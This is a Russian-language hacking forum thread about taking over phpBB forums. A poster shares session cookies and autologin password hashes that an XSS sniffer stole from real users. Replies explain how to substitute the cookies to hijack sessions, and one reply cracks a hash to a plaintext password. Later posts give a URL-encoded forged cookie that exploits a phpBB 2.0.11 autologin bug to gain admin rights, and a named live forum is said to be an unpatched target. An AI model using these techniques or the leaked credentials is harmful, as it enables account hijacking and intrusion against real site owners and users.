В поиске по форуму почему-то не нашел. Извиняюсь если уже было. По PhpBB 2.0.14 вроде. Использовал XSS WJ. На сниффер приходят такого вида кукисы: 1) REFERER=http://сайт.ru/viewtopic.php?t=144 QUERY=phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:2:"71";}; phpbb2mysql_sid=fb92f3ae9449faa5f5638a7b8f82665c; b=b; phpbb2mysql_t=a:1:{i:144;i:1137188123;} AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) 2) REFERER=http://сайт/viewtopic.php?p=1000&sid=7f719a7904ea3855d0e19651ea5dffb5 QUERY=phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c3b1cdacd926a27c6d2ba4edea2315d9";s:6:"userid";i:4;}; phpbb2mysql_sid=7f719a7904ea3855d0e19651ea5dffb5; b=b; phpbb2mysql_t=a:1:{i:144;i:1137187244;} 3) QUERY=mail=к; comlog=Arsenio; b=b; hotlog=1; phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c38fc265ba6bd19e91716b07459e0840";s:6:"userid";i:88;}; phpbb2mysql_sid=12e1027040bd3158d7f8ef8d63cab91d; b=b; phpbb2mysql_t=a:1:{i:136;i:1137186727;} и только один раз вот такое: 4)REFERER=http://сайт.ru/viewtopic.php?t=99&postdays=0&postorder=asc&start=180&sid=3c0662d34eb3e23da30b84d19347d2ec QUERY=; sessionid=2038548; b=b; hotlog=1; phpbb2mysql_data=a:0:{}; phpbb2mysql_sid=3c0662d34eb3e23da30b84d19347d2ec; b=b Че-то не понимаю что с ними делать - свои когда заменяю ничего не происходит. Почему только в одном месте есть сессион хэш? Или надо расшифровывать обязательно? Тогда что конкретно расшифровывать? Нет ли там соли как в ИПБ? Заранее спасибо. С меня репа.
Соли нету !!! Зпходи в Опере в куки у удоляй все кроме hpbb2mysql_data и phpbb2mysql_sid и подстовляй свое и все !!!
и еще одно если не зайдет то тогда phpbb2mysql_data:вот точто здесь должно быть биг к кокомуто декодуру и кодируй в URL и встовляй !!!
2) REFERER=http://сайт/viewtopic.php?p=1000&sid=7f719a7904ea3855d0e19651ea5dffb5 QUERY=phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c3b1cdacd926a27c6d2ba4edea2315d9";s:6:"userid";i:4;}; phpbb2mysql_sid=7f719a7904ea3855d0e19651ea5dffb5; b=b; phpbb2mysql_t=a:1:{i:144;i:1137187244;} Иль просто расшифруй хешь c3b1cdacd926a27c6d2ba4edea2315d9 вот я те расшифровал пароль этого хеша babitch
Не понимаю в чем дело, но сую в оперу куки, а зайти все равно не получается. Хотя пароль расшифрованный один подошел. Еще интересен такой момент: Там где пароль loko, стоит юзер айди 88 (если я правильно понимаю), а такого юзера нету (опять же смотрел через ссылку из списка пользователей u=88). Такое возможно? И как так быстро нашелся пароль babitch - он в словарях есть или так быстро перебирается? Через http://passcrack.spb.ru искали? Есть ли на PhpBB 2.0.14 проблемы со входом в админку как на IPB (одного хэша мало)? P.S. Всем спасибо и плюсы к репе.
По поводу 88 извиняюсь - ступил - не тот форум смотрел. Ну и еще хотелось бы узнать почему то пхп_дата, то в одном месте появляется сессионхэш?
Имелост в виду: QUERY=; sessionid=2038548; b=b; hotlog=1; phpbb2mysql_data=a:0:{}; phpbb2mysql_sid=3c0662d34eb3e23da30b84d19347d2ec; b=b а конкретнее sessionhash. Что это?
Вопрос, мона, не нашел топа с темой. Помните баг phpbb с куками. Нашел версию 2.0.11 пытаюсь в Опере подставлять куку a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D, ни черта не получается, так и остаюсь со своими правами. Вот линк, если кто могет помочь http://forum.homebusiness.ru/
а как же ты хочешь войти, если юзер не использует автологин? жди когда он появится на форуме, лови куки и заходи вместе с ним или пока куки живы. еще эдак час +/- А вообще это странно входить на 2.0.11 и скакой-то подставой кук париться. иди сразу в админку. тут на ачате вроде есть всё. найди
syntacsis Не нашел как можно на 11-ой версии сразу в админку залезть, кроме как XSS (украсть куку и сессию). Если знаешь, могешь в личку намек бросить или линк на топ где это обсуждалось? Заранее благодарен! Grrl Не пропатчен, админа я знаю, он лентяй и багтраки не смотрит.
WizART Дык с куками я вродь как знаю, что и куда вставлять (в phpmysql_data и саму сессию ставил в phpmysql_id и в Опере и в Мозилле). Вопрос вот в чем: почему не патченный форум на 11- ом движке не пускает меня с этой сессией и кукой в админку и даже просто, судя по видео от KEZ у меня не получается получить админские права. Гы-ы... Руки то у меня конечно не супер прямые, но и не кривые тож, а вот в чем трабл, не пойму... Кстать, а могет быть, что ID админа не %222%22%, а допустим %225%22?
вообще-то и не обязательно что ID админа 2!!! )) это для примера дано ЛОООЛ Смотришь ID админа и фтыкаешь замест 2 и все, например "%22235%22"
WizArtНе нихрена, ни в админку не заходит, ни права админские не получаю (куку ставлю админскую), сцука, неужель он все таки пропатчил форум. А кстати, там трабл такой, что даже када галку ставишь "Запомнить меня", он все равно не запоминает...
это не пропатченый форум, а глючный В некоторых версия пхпББ был такой прикол, у меня сначала вообще не хотело входить, просто страницу с ошибкой давало, но потом пофиксил этот баг. Вопрос чем опера от експлорера отличается в плоне куки, просто я еще не вникал в это. Хочется что б разьяснили
=\ там вощето уже закодированные, блин читай тему про баги пхпББ это типо в куки ставишь, в одно место замест своего ID втыкаешь админовский и уаля ты админ )) Кст ты с autologin входил под своим юзером?
